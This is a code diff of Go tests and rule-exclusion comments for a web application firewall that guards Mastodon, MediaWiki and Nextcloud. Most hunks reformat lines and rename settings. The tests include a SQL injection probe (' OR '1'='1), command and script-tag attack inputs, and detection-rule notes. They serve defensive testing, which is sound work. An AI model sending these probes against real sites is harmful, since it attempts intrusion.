|
||||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/admin/account_moderation_notes",
|
http.MethodPost, "/admin/account_moderation_notes",
|
||||||
@@ -149,12 +181,20 @@ var mastodonPasswordForms = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/settings/migration",
|
||||||
|
"account_migration[current_password]=",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/settings/migration/redirect",
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
"form_redirect[current_password]=",
|
"form_redirect[current_password]=",
|
||||||
},
|
},
|
||||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/settings/delete",
|
||||||
|
"form_delete_confirmation[password]=",
|
||||||
|
},
|
||||||
{http.MethodPost, mastodonSignUp, passwordField},
|
{http.MethodPost, mastodonSignUp, passwordField},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -181,12 +221,28 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
},
|
},
|
||||||
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
||||||
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
||||||
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
|
{
|
||||||
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
|
http.MethodPatch,
|
||||||
|
mastodonEditor,
|
||||||
|
`{"fields_attributes":[{"name":%s}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPatch,
|
||||||
|
mastodonEditor,
|
||||||
|
`{"fields_attributes":[{"value":%s}]}`,
|
||||||
|
},
|
||||||
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
||||||
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
||||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
|
{
|
||||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
http.MethodPatch,
|
||||||
|
mastodonProfile,
|
||||||
|
`{"fields_attributes":[{"name":%s}]}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPatch,
|
||||||
|
mastodonProfile,
|
||||||
|
`{"fields_attributes":[{"value":%s}]}`,
|
||||||
|
},
|
||||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
@@ -195,8 +251,16 @@ var mastodonJSONFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
||||||
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
|
{
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
|
http.MethodPost,
|
||||||
|
mastodonInbox,
|
||||||
|
`{"object":{"attachment":[{"name":%s}]}}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonInbox,
|
||||||
|
`{"object":{"attachment":[{"value":%s}]}}`,
|
||||||
|
},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
||||||
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
||||||
}
|
}
|
||||||
@@ -239,7 +303,12 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
r := request{sent.method, sent.target, []string{jsonBody}}
|
r := request{sent.method, sent.target, []string{jsonBody}}
|
||||||
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
|
got, _ := inspectBody(
|
||||||
|
t,
|
||||||
|
readingBodies(t),
|
||||||
|
r,
|
||||||
|
fmt.Sprintf(sent.field, quoted),
|
||||||
|
)
|
||||||
|
|
||||||
return got.Score
|
return got.Score
|
||||||
}
|
}
|
||||||
@@ -270,7 +339,11 @@ func mastodonScores(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
||||||
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
|
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
|
||||||
|
t,
|
||||||
|
sent,
|
||||||
|
value,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
unescaped, err := url.QueryUnescape(value)
|
unescaped, err := url.QueryUnescape(value)
|
||||||
@@ -279,7 +352,11 @@ func mastodonScores(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
||||||
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
|
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
|
||||||
|
t,
|
||||||
|
sent,
|
||||||
|
unescaped,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return scores
|
return scores
|
||||||
@@ -316,8 +393,11 @@ func TestMastodonPasswordsPass(t *testing.T) {
|
|||||||
t.Run("JSON", func(t *testing.T) {
|
t.Run("JSON", func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
r := request{
|
||||||
[]string{jsonBody}}
|
mastodonPasswordJSON.method,
|
||||||
|
mastodonPasswordJSON.target,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "password")
|
wantRandomPasswordsPass(t, r, "password")
|
||||||
wantPasswordAttacksPass(t, r, "password")
|
wantPasswordAttacksPass(t, r, "password")
|
||||||
@@ -332,8 +412,16 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
|
|||||||
|
|
||||||
wantPasswordFieldsPass(t, []passwordFields{
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
{"/auth/challenge", formData, challenge},
|
{"/auth/challenge", formData, challenge},
|
||||||
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
|
{
|
||||||
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
|
"/settings/two_factor_authentication/otp_authentication",
|
||||||
|
formData,
|
||||||
|
challenge,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/settings/two_factor_authentication_methods/disable",
|
||||||
|
formData,
|
||||||
|
challenge,
|
||||||
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -508,7 +596,11 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
|
|||||||
{mastodonReport, "false"},
|
{mastodonReport, "false"},
|
||||||
{mastodonForwardedReport, "remote.example"},
|
{mastodonForwardedReport, "remote.example"},
|
||||||
} {
|
} {
|
||||||
report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
|
report := mastodonBodyField{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonReports,
|
||||||
|
sent.body,
|
||||||
|
}
|
||||||
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
||||||
t.Errorf("%v refused: %d", report, got)
|
t.Errorf("%v refused: %d", report, got)
|
||||||
}
|
}
|
||||||
@@ -572,12 +664,20 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Elsewhere both keep the two rules.
|
// Elsewhere both keep the two rules.
|
||||||
signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
|
signIn := mastodonBodyField{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonSignIn,
|
||||||
|
mastodonUsername.field,
|
||||||
|
}
|
||||||
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
||||||
t.Errorf("%v let through", signIn)
|
t.Errorf("%v let through", signIn)
|
||||||
}
|
}
|
||||||
|
|
||||||
statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
|
statuses := mastodonBodyField{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonStatuses,
|
||||||
|
mastodonHashtag.field,
|
||||||
|
}
|
||||||
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
||||||
t.Errorf("%v let through", statuses)
|
t.Errorf("%v let through", statuses)
|
||||||
}
|
}
|
||||||
@@ -617,7 +717,11 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
|
|||||||
// Elsewhere the address keeps every rule.
|
// Elsewhere the address keeps every rule.
|
||||||
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
|
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
|
||||||
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
|
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
|
||||||
if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
|
if mastodonForm(
|
||||||
|
t,
|
||||||
|
sent,
|
||||||
|
"python3%40example.com",
|
||||||
|
) < mastodonThreshold {
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,8 +5,8 @@
|
|||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter of
|
# exclusion on a field of a body applies only when the query has no parameter of
|
||||||
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
|
||||||
# MediaWiki's paths are matched at the site root and under /w/.
|
# paths are matched at the site root and under /w/.
|
||||||
#
|
#
|
||||||
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
||||||
# with a page title, in the query or after the path:
|
# with a page title, in the query or after the path:
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||||
@@ -221,7 +221,13 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
t.Errorf(
|
||||||
|
"POST %s %s%s let through: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.field,
|
||||||
|
attack,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -231,7 +237,11 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
scriptTag,
|
scriptTag,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"source", "comment"} {
|
for _, field := range []string{"source", "comment"} {
|
||||||
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
r := request{
|
||||||
|
http.MethodPut,
|
||||||
|
mediawikiRESTPage,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body := `{"` + field + `":"` + attack + `"}`
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -270,15 +280,31 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
|
|||||||
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
|
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
|
||||||
{mediawikiSignIn + "&" + loginContinue, formData, retype},
|
{mediawikiSignIn + "&" + loginContinue, formData, retype},
|
||||||
{mediawikiAccountChange + "?" + changeAction, formData, change},
|
{mediawikiAccountChange + "?" + changeAction, formData, change},
|
||||||
{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
|
{
|
||||||
{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
|
mediawikiAccountChange + subpage + "?" + changeAction,
|
||||||
|
formData,
|
||||||
|
change,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/index.php/Special:ChangeCredentials?" + changeAction,
|
||||||
|
formData,
|
||||||
|
change,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
|
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
|
||||||
formData, change,
|
formData, change,
|
||||||
},
|
},
|
||||||
{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
|
{
|
||||||
|
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
|
||||||
|
formData,
|
||||||
|
change,
|
||||||
|
},
|
||||||
// A German wiki's names for the same pages.
|
// A German wiki's names for the same pages.
|
||||||
{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
|
{
|
||||||
|
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
|
||||||
|
formData,
|
||||||
|
retype,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
|
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
|
||||||
formData, retype,
|
formData, retype,
|
||||||
@@ -319,7 +345,12 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
|
|||||||
|
|
||||||
body := formBody(sent.name, "' OR '1'='1")
|
body := formBody(sent.name, "' OR '1'='1")
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
|
t.Errorf(
|
||||||
|
"POST %s %s let through: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.name,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -350,7 +381,9 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
|
targets := append(
|
||||||
|
[]string{"/load.php?modules="},
|
||||||
|
mediawikiQueryFields...)
|
||||||
|
|
||||||
for _, target := range targets {
|
for _, target := range targets {
|
||||||
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
||||||
@@ -367,7 +400,12 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
t.Errorf(
|
||||||
|
"POST %s %s let through: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.field,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -382,7 +420,11 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
||||||
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
||||||
// it once.
|
// it once.
|
||||||
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
r = request{
|
||||||
|
http.MethodPost,
|
||||||
|
mediawikiWatchlist.target,
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
mediawikiCommandAttack,
|
mediawikiCommandAttack,
|
||||||
@@ -428,7 +470,13 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||||
if got.Score >= mediawikiThreshold {
|
if got.Score >= mediawikiThreshold {
|
||||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
t.Errorf(
|
||||||
|
"POST %s %s%s refused: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.field,
|
||||||
|
value,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -444,7 +492,11 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A watchlist holds the title on its second line, as recorded.
|
// A watchlist holds the title on its second line, as recorded.
|
||||||
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
mediawikiWatchlist.target,
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||||
@@ -517,7 +569,11 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
||||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
sent.target + "&" + sent.field,
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field)
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
|
|||||||
@@ -5,9 +5,8 @@
|
|||||||
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
||||||
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
||||||
# applies only when the query has no parameter of that name, so it matters only
|
# applies only when the query has no parameter of that name, so it matters only
|
||||||
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
|
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
|
||||||
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
|
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
|
||||||
# serves them.
|
|
||||||
#
|
#
|
||||||
# Four rules read a search or a name as a command or a system file:
|
# Four rules read a search or a name as a command or a system file:
|
||||||
# 930120: .htaccess
|
# 930120: .htaccess
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const nextcloudThreshold = 5
|
const nextcloudThreshold = 5
|
||||||
|
|
||||||
// nextcloudSignIn is the sign-in page.
|
// nextcloudSignIn is the sign-in page.
|
||||||
@@ -107,7 +107,12 @@ var nextcloudBodies = []nextcloudBody{
|
|||||||
http.MethodPut, nextcloudUsers + "/admin",
|
http.MethodPut, nextcloudUsers + "/admin",
|
||||||
jsonBody, `{"key":"headline","value":"%s"}`,
|
jsonBody, `{"key":"headline","value":"%s"}`,
|
||||||
},
|
},
|
||||||
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/ocs/v2.php/cloud/groups",
|
||||||
|
jsonBody,
|
||||||
|
`{"groupid":"%s"}`,
|
||||||
|
},
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
||||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
||||||
@@ -115,17 +120,42 @@ var nextcloudBodies = []nextcloudBody{
|
|||||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
||||||
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
||||||
},
|
},
|
||||||
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
{
|
||||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
http.MethodPost,
|
||||||
|
nextcloudSave,
|
||||||
|
jsonBody,
|
||||||
|
`{"filePath":"/%s/Readme.md"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/remote.php/dav/systemtags/",
|
||||||
|
jsonBody,
|
||||||
|
`{"name":"%s"}`,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
||||||
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
||||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||||
},
|
},
|
||||||
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
|
{
|
||||||
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
|
nextcloudMkcol,
|
||||||
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
|
nextcloudCalendars + "work",
|
||||||
|
xmlBody,
|
||||||
|
nextcloudNewCollection,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
nextcloudMkcol,
|
||||||
|
nextcloudAddressBooks + "team",
|
||||||
|
xmlBody,
|
||||||
|
nextcloudNewCollection,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
nextcloudMkcalendar,
|
||||||
|
nextcloudCalendars + "work/",
|
||||||
|
xmlBody,
|
||||||
|
nextcloudNewCalendar,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
// The WebDAV methods that make a calendar or an address book.
|
// The WebDAV methods that make a calendar or an address book.
|
||||||
@@ -187,7 +217,12 @@ var nextcloudDocument = nextcloudBody{
|
|||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var nextcloudTexts = []nextcloudBody{
|
var nextcloudTexts = []nextcloudBody{
|
||||||
nextcloudDocument,
|
nextcloudDocument,
|
||||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/remote.php/dav/comments/files/1",
|
||||||
|
jsonBody,
|
||||||
|
`{"message":"%s"}`,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
||||||
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
||||||
@@ -195,7 +230,12 @@ var nextcloudTexts = []nextcloudBody{
|
|||||||
`</d:propertyupdate>`,
|
`</d:propertyupdate>`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
||||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
nextcloudShares,
|
||||||
|
jsonBody,
|
||||||
|
`{"path":"/Notes","note":"%s"}`,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
||||||
formData, "note=%s",
|
formData, "note=%s",
|
||||||
@@ -223,7 +263,10 @@ const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
|
|||||||
// nextcloudBodyScore returns the request that sends value, which is not
|
// nextcloudBodyScore returns the request that sends value, which is not
|
||||||
// escaped, in sent's body, and the score crs gives it.
|
// escaped, in sent's body, and the score crs gives it.
|
||||||
func nextcloudBodyScore(
|
func nextcloudBodyScore(
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
|
t *testing.T,
|
||||||
|
crs *coreruleset.CoreRuleSet,
|
||||||
|
sent nextcloudBody,
|
||||||
|
value string,
|
||||||
) (string, int) {
|
) (string, int) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -258,7 +301,11 @@ func nextcloudFieldScores(t *testing.T, value string) map[string]int {
|
|||||||
scores := map[string]int{}
|
scores := map[string]int{}
|
||||||
|
|
||||||
for _, target := range nextcloudQueryFields {
|
for _, target := range nextcloudQueryFields {
|
||||||
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
scores["GET "+target+value] = inspect(
|
||||||
|
t,
|
||||||
|
crs,
|
||||||
|
get(target+value),
|
||||||
|
).Score
|
||||||
}
|
}
|
||||||
|
|
||||||
